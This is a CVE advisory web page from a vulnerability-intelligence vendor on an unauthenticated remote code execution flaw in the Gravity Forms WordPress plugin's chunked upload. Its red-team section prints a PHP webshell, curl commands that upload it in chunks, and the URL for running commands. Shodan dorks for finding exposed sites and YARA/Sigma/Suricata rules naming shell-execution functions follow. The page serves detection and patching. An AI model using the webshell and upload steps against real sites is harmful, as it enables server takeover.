☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Forms logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-13407

CVE-2025-13407 Remote Code Execution in Gravity forms
📅 PUBLISHED: 2025-12-24 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.08%
👁️
0.08% probability
2.0× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-13407 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in the Gravity Forms WordPress plugin (versions before 2.9.23.1). The flaw resides in the chunked upload functionality, which fails to properly validate file extensions during the reassembly process. An attacker can upload a malicious PHP file by splitting it into chunks, bypassing the standard upload filters. Once the file is reassembled on the server, the attacker can execute arbitrary PHP code, leading to full site compromise. This vulnerability is particularly dangerous because it requires no authentication and can be exploited by simply sending crafted HTTP requests. The plugin is widely used, making this a high-impact threat for WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Gravity Forms WordPress plugin, a commercial product distributed via the WordPress plugin repository and the vendor's own site. The supply chain risk is moderate; users who have not updated to version 2.9.23.1 are directly exposed. There is no known compromise of the plugin's distribution channel, but the vulnerability itself allows an attacker to inject arbitrary code into the server, potentially leading to further supply chain attacks if the compromised site is used to distribute other software.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No victim action required.
  • Scope: Unchanged (S:U) – The vulnerable component and the affected component are the same.
  • Confidentiality Impact: High (C:H) – Full read access to all data on the server.
  • Integrity Impact: High (I:H) – Full write access to all data on the server.
  • Availability Impact: High (A:H) – Full control over server availability.

Threat Level: Critical. The combination of no authentication, low complexity, and full impact makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is in the chunked upload functionality of Gravity Forms. This feature is designed to allow large file uploads by splitting them into smaller chunks. The plugin reassembles these chunks into the final file. The flaw is that during reassembly, the plugin does not properly validate the file extension of the final assembled file. It only checks the extension of the individual chunks, which can be manipulated.

Attack Flow:

  1. An attacker identifies a WordPress site running a vulnerable version of Gravity Forms.
  2. The attacker sends a series of HTTP requests to the chunked upload endpoint (typically /wp-admin/admin-ajax.php with specific action parameters).
  3. Each request contains a small chunk of a PHP file (e.g., webshell.php). The chunks are sent with a benign extension (e.g., .txt) to bypass the initial filter.
  4. The plugin reassembles the chunks into the final file, but does not re-validate the extension. The final file is saved with the .php extension.
  5. The attacker then accesses the uploaded PHP file via the web server, executing arbitrary code.

Root Cause: The move_uploaded_file() or similar function is called on the reassembled file without checking the final extension against the allowed list. The chunk validation only checks the chunk's extension, not the final assembled file.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

// In chunked upload handler
function handle_chunked_upload() {
    $chunk = $_FILES['file'];
    $chunk_name = $chunk['name'];
    // Only checks chunk extension
    $ext = pathinfo($chunk_name, PATHINFO_EXTENSION);
    if (!in_array($ext, $allowed_extensions)) {
        die('Invalid file type');
    }
    // Move chunk to temp directory
    move_uploaded_file($chunk['tmp_name'], $temp_path);
    // After all chunks received, reassemble
    if (all_chunks_received()) {
        $final_path = $upload_dir . '/' . $final_filename;
        // VULNERABLE: No extension check on final file
        reassemble_chunks($temp_dir, $final_path);
    }
}

Patched Code (simplified):

function handle_chunked_upload() {
    $chunk = $_FILES['file'];
    $chunk_name = $chunk['name'];
    $ext = pathinfo($chunk_name, PATHINFO_EXTENSION);
    if (!in_array($ext, $allowed_extensions)) {
        die('Invalid file type');
    }
    move_uploaded_file($chunk['tmp_name'], $temp_path);
    if (all_chunks_received()) {
        $final_path = $upload_dir . '/' . $final_filename;
        // PATCHED: Check final file extension
        $final_ext = pathinfo($final_filename, PATHINFO_EXTENSION);
        if (!in_array($final_ext, $allowed_extensions)) {
            die('Invalid final file type');
        }
        reassemble_chunks($temp_dir, $final_path);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

  1. Install a WordPress instance with Gravity Forms plugin version 2.9.23.0 or earlier.
  2. Ensure the plugin is activated and a form with a file upload field exists.
  3. The attacker machine can be any system with curl or a scripting language.

Exploitation Steps:

  1. Identify the upload endpoint: The chunked upload is typically handled via admin-ajax.php. The action parameter is usually gform_upload_file or similar. Use a network proxy or inspect the plugin source to find the exact action.
  2. Craft the PHP payload: Create a simple PHP webshell:
    <?php system($_GET['cmd']); ?>
    
  3. Split the payload into chunks: For example, split into 3 chunks:
    • Chunk 1: <?php sys
    • Chunk 2: tem($_GET
    • Chunk 3: ['cmd']); ?>
  4. Send the chunks with a benign extension: Name each chunk as payload.txt to bypass the initial filter. Use the Content-Disposition header to specify the chunk index and total chunks.
    # Example using curl (simplified)
    curl -X POST -F "action=gform_upload_file" -F "chunk=0" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk0" http://target/wp-admin/admin-ajax.php
    curl -X POST -F "action=gform_upload_file" -F "chunk=1" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk1" http://target/wp-admin/admin-ajax.php
    curl -X POST -F "action=gform_upload_file" -F "chunk=2" -F "chunks=3" -F "name=payload.txt" -F "file=@chunk2" http://target/wp-admin/admin-ajax.php
    
  5. Trigger reassembly: The final request should include a parameter to finalize the upload, or the plugin may automatically reassemble after all chunks are received. The final filename might be payload.php (the attacker can specify this in the final request).
  6. Access the webshell: Navigate to http://target/wp-content/uploads/gravity_forms/.../payload.php?cmd=id.

Note: The exact parameters and endpoints may vary. Use a tool like Burp Suite to capture legitimate upload traffic and modify it.

Blue Team (Detection & Response)

Detection:

  • Monitor for multiple sequential upload requests to admin-ajax.php with the same filename but different chunk indices.
  • Look for file uploads with extensions that change between chunks and final assembly (e.g., .txt chunks becoming .php).
  • Alert on any PHP files being written to the uploads directory via the chunked upload mechanism.

Response:

  1. Immediately isolate the affected server.
  2. Check the uploads directory for any unexpected PHP files.
  3. Review web server logs for the chunked upload requests.
  4. Remove any malicious files.
  5. Update the Gravity Forms plugin to version 2.9.23.1 or later.
  6. Rotate all secrets (database passwords, API keys) as the server may be fully compromised.

Indicators of Compromise (IOCs)

  • File System:
    • Unexpected .php files in /wp-content/uploads/gravity_forms/ or subdirectories.
    • Files with names like *.php that were not uploaded through the normal form submission process.
  • Network:
    • Multiple sequential POST requests to /wp-admin/admin-ajax.php with parameters action=gform_upload_file, chunk, chunks, and name.
    • Requests with Content-Disposition: form-data; name="file"; filename="*.txt" that later result in a .php file.
  • Logs:
    • Web server access logs showing repeated requests to admin-ajax.php with the same name parameter but different chunk values.
    • Error logs showing PHP warnings about move_uploaded_file() or file operations in the uploads directory.

Detection Engineering

YARA Rule

rule CVE_2025_13407_Gravity_Forms_Chunked_Upload {
    meta:
        description = "Detects PHP webshells uploaded via Gravity Forms chunked upload vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13407"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_exec = "shell_exec("
        $exec_func = "exec("
        $passthru = "passthru("
        $popen = "popen("
        $proc_open = "proc_open("
        $eval_func = "eval("
        $assert_func = "assert("
        $cmd_var = "$_GET" nocase
        $post_var = "$_POST" nocase
        $request_var = "$_REQUEST" nocase
        $cookie_var = "$_COOKIE" nocase
        $server_var = "$_SERVER" nocase
        $file_put = "file_put_contents("
        $fwrite = "fwrite("
        $move_uploaded = "move_uploaded_file("
    condition:
        $php_tag and (
            $system_func or $shell_exec or $exec_func or $passthru or
            $popen or $proc_open or $eval_func or $assert_func or
            $cmd_var or $post_var or $request_var or $cookie_var or
            $server_var or $file_put or $fwrite or $move_uploaded
        )
}

Sigma Rule

title: CVE-2025-13407 Gravity Forms Chunked Upload RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-13407 via chunked upload requests
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13407
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=gform_upload_file'
        cs-uri-query|contains|all:
            - 'chunk='
            - 'chunks='
            - 'name='
    condition: selection
falsepositives:
    - Legitimate large file uploads via Gravity Forms
level: high
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.13407

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13407 Gravity Forms Chunked Upload RCE"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gform_upload_file"; http_client_body; pcre:"/(?:chunk|chunks|name)=/"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

  1. Update the plugin: Upgrade Gravity Forms to version 2.9.23.1 or later immediately.
  2. Scan for compromise: Check the uploads directory for any unexpected PHP files. Use the YARA rule above to scan the server.
  3. Remove malicious files: Delete any webshells or suspicious files found.
  4. Rotate credentials: Change all passwords, API keys, and secrets that may have been exposed.

Mitigation (if patching is not immediately possible):

  1. Disable chunked uploads: If possible, disable the chunked upload feature in the plugin settings or via a code snippet.
  2. Web Application Firewall (WAF): Create a WAF rule to block requests to admin-ajax.php with parameters action=gform_upload_file and chunk unless they come from authenticated users.
  3. File extension validation: Implement a server-side rule (e.g., via .htaccess or Nginx config) to block execution of PHP files in the uploads directory:
    <Directory /wp-content/uploads>
        php_flag engine off
    </Directory>
    
  4. Monitor logs: Enable detailed logging for admin-ajax.php and monitor for the patterns described in the Sigma rule.

Long-term Recommendations:

  • Implement a file upload security policy that validates file extensions at every stage of the upload process.
  • Use a security plugin like Wordfence to add an additional layer of protection.
  • Regularly update all WordPress plugins and themes.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Gravity Forms"
http.html:"gravityforms"
http.html:"gform_submit"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-13407/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.